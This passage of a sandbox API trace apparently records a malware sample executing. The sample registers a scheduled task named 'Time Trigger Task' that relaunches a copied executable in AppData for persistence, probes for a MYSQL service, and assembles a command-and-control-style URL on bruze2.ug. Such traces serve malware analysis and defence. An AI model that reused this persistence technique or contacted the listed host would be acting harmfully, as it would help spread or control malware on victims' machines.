Ptr=0x37726d0, Size=0x68) returned 0x37727b0 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0048.527] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x41) returned 0x3826cb0 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x3826cb0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0048.527] GetLastError () returned 0x0 [0048.527] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37727b0) returned 0x68 [0048.527] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37727b0, Size=0x6c) returned 0x37f1588 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.527] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x17) returned 0x37e1c10 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x37e1c10, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0048.527] GetLastError () returned 0x0 [0048.527] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37f1588) returned 0x6c [0048.527] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37f1588, Size=0x70) returned 0x37f1600 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0048.527] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0xf) returned 0x38023c0 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x38023c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0048.527] GetLastError () returned 0x0 [0048.527] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37f1600) returned 0x70 [0048.527] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37f1600, Size=0x74) returned 0xe32cd0 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.527] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x16) returned 0x37e1ef0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x37e1ef0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0048.528] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe32cd0) returned 0x74 [0048.528] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe32cd0, Size=0x78) returned 0xe32d50 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0048.528] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2a) returned 0x37e67b0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x37e67b0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0048.528] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe32d50) returned 0x78 [0048.528] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe32d50, Size=0x7c) returned 0xe2fe88 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0048.528] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x29) returned 0x37e6a18 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x37e6a18, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0048.528] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe2fe88) returned 0x7c [0048.528] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe2fe88, Size=0x80) returned 0xe309b0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0048.528] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x15) returned 0x37e1eb0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x37e1eb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0048.528] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe309b0) returned 0x80 [0048.528] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe309b0, Size=0x84) returned 0xe41130 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.528] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1e) returned 0x3834400 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3834400, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0048.528] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe41130) returned 0x84 [0048.528] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe41130, Size=0x88) returned 0xe41520 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0048.528] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2a) returned 0x37e6ac0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x37e6ac0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0048.528] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe41520) returned 0x88 [0048.528] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe41520, Size=0x8c) returned 0x37bcbd0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0048.528] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x12) returned 0x37e20b0 [0048.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x37e20b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0048.529] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37bcbd0) returned 0x8c [0048.529] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37bcbd0, Size=0x90) returned 0x37bcbd0 [0048.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.529] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x18) returned 0x37e20d0 [0048.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x37e20d0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0048.529] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37bcbd0) returned 0x90 [0048.529] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37bcbd0, Size=0x94) returned 0x378cdd8 [0048.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0048.529] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x46) returned 0x3826d50 [0048.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x3826d50, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0048.529] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x378cdd8) returned 0x94 [0048.529] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x378cdd8, Size=0x98) returned 0x378cdd8 [0048.529] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0048.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e2fc | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e2fc) returned 26 [0048.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e2fc | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e2fc) returned 26 [0048.531] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x24) returned 0x3833ad0 [0048.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x3833ad0, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0048.531] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xa0) returned 0x37c9018 [0048.531] ITrigger:put_StartBoundary (This=0x2db0c00, StartBoundary="2019-07-19T16:58:15") returned 0x0 [0048.531] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38023d8 | out: hHeap=0xd50000) returned 1 [0048.531] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3811a80 | out: hHeap=0xd50000) returned 1 [0048.531] IUnknown:Release (This=0x2db0c00) returned 0x1 [0048.531] ITaskDefinition:get_Actions (in: This=0x2db0950, ppActions=0x18e8c8 | out: ppActions=0x18e8c8*=0x2db09c8) returned 0x0 [0048.531] IActionCollection:Create (in: This=0x2db09c8, Type=0, ppAction=0x18e8b4 | out: ppAction=0x18e8b4*=0x2db0c98) returned 0x0 [0048.531] IUnknown:Release (This=0x2db09c8) returned 0x1 [0048.531] IUnknown:QueryInterface (in: This=0x2db0c98, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18e8d0 | out: ppvObject=0x18e8d0*=0x2db0c98) returned 0x0 [0048.532] IUnknown:Release (This=0x2db0c98) returned 0x2 [0048.532] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x38023d8 [0048.532] IExecAction:put_Path (This=0x2db0c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 0x0 [0048.532] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38023d8 | out: hHeap=0xd50000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x38023d8 [0048.532] IExecAction:put_Arguments (This=0x2db0c98, Arguments="--Task") returned 0x0 [0048.532] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38023d8 | out: hHeap=0xd50000) returned 1 [0048.532] IUnknown:Release (This=0x2db0c98) returned 0x1 [0048.532] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x38023d8 [0048.532] ITaskFolder:RegisterTaskDefinition (in: This=0x2db0920, Path="Time Trigger Task", pDefinition=0x2db0950, flags=6, UserId=0x18e370*(varType=0x0, wReserved1=0x382, wReserved2=0xe884, wReserved3=0x18, varVal1=0x41720b, varVal2=0xd50000), password=0x18e380*(varType=0x0, wReserved1=0x0, wReserved2=0x120, wReserved3=0x0, varVal1=0x8f, varVal2=0x7), LogonType=3, sddl=0x18e394*(varType=0x8, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1="", varVal2=0x128), ppTask=0x18e89c | out: ppTask=0x18e89c*=0x2db0d18) returned 0x0 [0048.589] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38023d8 | out: hHeap=0xd50000) returned 1 [0048.589] TaskScheduler:IUnknown:Release (This=0x2db0920) returned 0x0 [0048.589] TaskScheduler:IUnknown:Release (This=0x2db0950) returned 0x0 [0048.589] IUnknown:Release (This=0x2db0d18) returned 0x0 [0048.589] CoUninitialize () [0048.591] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d7b80 | out: hHeap=0xd50000) returned 1 [0048.591] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d4d38 | out: hHeap=0xd50000) returned 1 [0048.591] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d8a70 | out: hHeap=0xd50000) returned 1 [0048.591] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xe35b20 [0048.591] OpenServiceW (hSCManager=0xe35b20, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0048.591] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe608 [0048.591] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3822370 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38225d8 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3811250 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38114b8 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3811720 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3811988 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382dff0 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382e258 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382e4c0 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382e728 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382e990 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382ebf8 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382ee60 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382f0c8 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382f330 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382f598 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xa0) returned 0x37c9018 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37d8a70 [0048.592] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37c9018 | out: hHeap=0xd50000) returned 1 [0048.592] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37d4d38 [0048.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414280, lpParameter=0x37e5830, dwCreationFlags=0x0, lpThreadId=0x45d9b8 | out: lpThreadId=0x45d9b8*=0x9d0) returned 0x5a8 [0048.793] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d8a70 | out: hHeap=0xd50000) returned 1 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0x3833ad0 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382f800 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382fa68 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382fcd0 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x382ff38 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38301a0 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3830408 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3830670 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38308d8 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3830b40 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3830da8 [0048.793] lstrlenA (lpString="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned 73 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x94) returned 0x3747028 [0048.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x382f800, cbMultiByte=-1, lpWideCharStr=0x3747028, cchWideChar=74 | out: lpWideCharStr="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned 74 [0048.793] lstrcatW (in: lpString1="", lpString2="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.793] lstrlenA (lpString="") returned 0 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0d60 [0048.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x382fa68, cbMultiByte=-1, lpWideCharStr=0x37a0d60, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.793] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.793] lstrlenA (lpString="") returned 0 [0048.793] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0d90 [0048.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x382fcd0, cbMultiByte=-1, lpWideCharStr=0x37a0d90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.793] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0d80 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x382ff38, cbMultiByte=-1, lpWideCharStr=0x37a0d80, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0e00 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38301a0, cbMultiByte=-1, lpWideCharStr=0x37a0e00, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0dc0 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3830408, cbMultiByte=-1, lpWideCharStr=0x37a0dc0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0db0 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3830670, cbMultiByte=-1, lpWideCharStr=0x37a0db0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0dd0 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38308d8, cbMultiByte=-1, lpWideCharStr=0x37a0dd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0de0 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3830b40, cbMultiByte=-1, lpWideCharStr=0x37a0de0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenA (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2) returned 0x37a0df0 [0048.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3830da8, cbMultiByte=-1, lpWideCharStr=0x37a0df0, cchWideChar=1 | out: lpWideCharStr="") 